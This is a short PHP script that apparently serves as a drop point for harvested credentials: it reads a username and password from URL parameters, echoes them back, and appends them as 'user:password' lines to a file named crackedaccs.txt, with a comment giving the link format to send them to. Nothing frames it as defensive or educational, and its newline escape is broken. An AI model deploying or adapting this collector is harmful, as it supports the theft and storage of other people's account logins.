<?php
//the link is (your domain)/writefile.php?user=$user&password=$pass
$theuser = $_GET["user"];
$thepassword = $_GET["password"];
$full = $theuser . ':' . $thepassword;
echo htmlentities($full); //Potential XSS
$file = 'crackedaccs.txt';
$current = file_get_contents($file);
$current .= "$full n";

file_put_contents($file, $current, LOCK_EX);
?>